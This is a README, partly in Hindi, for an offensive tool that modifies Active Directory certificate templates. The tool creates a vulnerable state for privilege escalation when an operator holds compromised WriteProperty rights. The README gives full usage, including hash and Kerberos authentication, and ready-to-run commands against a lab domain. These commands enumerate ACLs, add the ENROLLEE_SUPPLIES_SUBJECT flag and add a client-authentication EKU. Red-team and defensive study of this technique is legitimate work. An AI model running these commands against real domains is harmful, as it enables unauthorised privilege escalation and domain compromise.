
ADCS प्रमाणपत्र टेम्पलेट संशोधन और ACL गणना
यह उपकरण एक ऑपरेटर को ADCS प्रमाणपत्र टेम्पलेट्स को संशोधित करने में सहायता करने के लिए डिज़ाइन किया गया है ताकि एक बनाई गई संवेदनशील स्थिति का उपयोग विशेषाधिकार वृद्धि के लिए किया जा सके (और बाद में टेम्पलेट को उसकी पिछली स्थिति में रीसेट करें)। यह विशेष रूप से उस परिदृश्य के लिए डिज़ाइन किया गया है जहाँ किसी टेम्पलेट पर WriteProperty अधिकारों से समझौता किया गया है, लेकिन ऑपरेटर को यह नहीं पता है कि अधिकार किन गुणों पर लागू होता है। इस परिदृश्य में, टेम्पलेट के ACL को क्वेरी किया जा सकता है और लागू ACE जानकारी को गुण GUIDs के साथ क्रॉस-रेफरेंस किया जा सकता है ताकि संशोधित करने योग्य गुणों का निर्धारण किया जा सके।
इस उपकरण और विषय पर संबंधित ब्लॉग पोस्ट
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
target
Modify the attributes of an Active Directory certificate template
positional arguments:
target [[domain/]username[:password]
optional arguments:
-h, --help show this help message and exit
-template template name
Name of the target certificate template
-property property name
Name of the target template property
-value new value Value to set the specified template property to
-get-acl Print the certificate's ACEs
-dn distinguished name
Explicitly set the distinguished name of the certificate template
-raw Output the raw certificate template attributes
-add flag name Add a flag to an attribute, maintaining the existing flags
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ldaps Use LDAPS instead of LDAP
एक प्रमाणपत्र टेम्पलेट (सभी गुण) क्वेरी करें
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass
एक प्रमाणपत्र टेम्पलेट से एकल गुण क्वेरी करें
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
सभी टेम्पलेट गुणों के कच्चे मान क्वेरी करें
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass
एक प्रमाणपत्र टेम्पलेट के लिए ACL क्वेरी करें
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass
हालाँकि यह प्रमाणपत्र टेम्पलेट से संबंधित नहीं है, किसी भी वस्तु के ACL को उस वस्तु का विशिष्ट नाम प्रदान करके क्वेरी किया जा सकता है
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass
टेम्पलेट के msPKI-Certificate-Name-Flag गुण में ENROLLEE_SUPPLIES_SUBJECT फ़्लैग जोड़ें
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
एक प्रमाणपत्र टेम्पलेट गुण का मान अपडेट करें (गैर-सूची गुण)
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass
pKIExtendedKeyUsage गुण में एक EKU जोड़ें
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass
सूची-स्वरूपित गुण का मान अपडेट करें (यानी pKIExtendedKeyUsage का मान स्पष्ट रूप से सेट करें)
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass